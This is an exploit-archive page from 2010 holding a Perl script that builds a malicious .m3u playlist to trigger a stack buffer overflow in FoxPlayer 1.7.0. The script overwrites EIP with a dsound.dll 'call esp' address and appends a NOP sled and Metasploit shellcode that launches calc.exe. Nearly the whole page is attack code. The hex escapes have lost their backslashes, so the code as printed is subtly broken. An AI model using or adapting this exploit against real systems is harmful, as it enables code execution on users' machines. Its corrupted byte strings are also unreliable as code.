FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit
# Published : 2010-02-05
# Author : cr4wl3r
# Previous Title : feedDemon v3.1.0.9 opml File Buffer Overflow Exploit
# Next Title : CoreFTP v2.1 b1637 (password field) Universal BOF Exploit

#!/usr/bin/perl

print qq(
###########################################################
## FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit  ##
## Credit : opt!x hacker http://milw0rm.com/exploits/9393##
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org>            ##
## Greetz : str0ke, opt!x hacker, xoron                  ##
## all member at manadocoding.net                        ##
## all member at indonesianhacker.org                    ##
###########################################################
);
my $junk = "x41" x 260;
my $eip = "x28x55x3Dx72"; # 0x723D5528 -- dsound.dll -- call esp
my $nopsled = "x90" x 19; 
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"x31xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13x34".
"x92x42x83x83xebxfcxe2xf4xc8x7ax06x83x34x92xc9xc6".
"x08x19x3ex86x4cx93xadx08x7bx8axc9xdcx14x93xa9xca".
"xbfxa6xc9x82xdaxa3x82x1ax98x16x82xf7x33x53x88x8e".
"x35x50xa9x77x0fxc6x66x87x41x77xc9xdcx10x93xa9xe5".
"xbfx9ex09x08x6bx8ex43x68xbfx8exc9x82xdfx1bx1exa7".
"x30x51x73x43x50x19x02xb3xb1x52x3ax8fxbfxd2x4ex08".
"x44x8exefx08x5cx9axa9x8axbfx12xf2x83x34x92xc9xeb".
"x08xcdx73x75x54xc4xcbx7bxb7x52x39xd3x5cx62xc8x87".
"x6bxfaxdax7dxbex9cx15x7cxd3xf1x23xefx57xbcx27xfb".
"x51x92x42x83";
##################################################################
open(myfile,'>> Traffic.m3u'); # Dj Tiesto :D
print myfile $junk.$eip.$shellcode.$nopsled;
##################################################################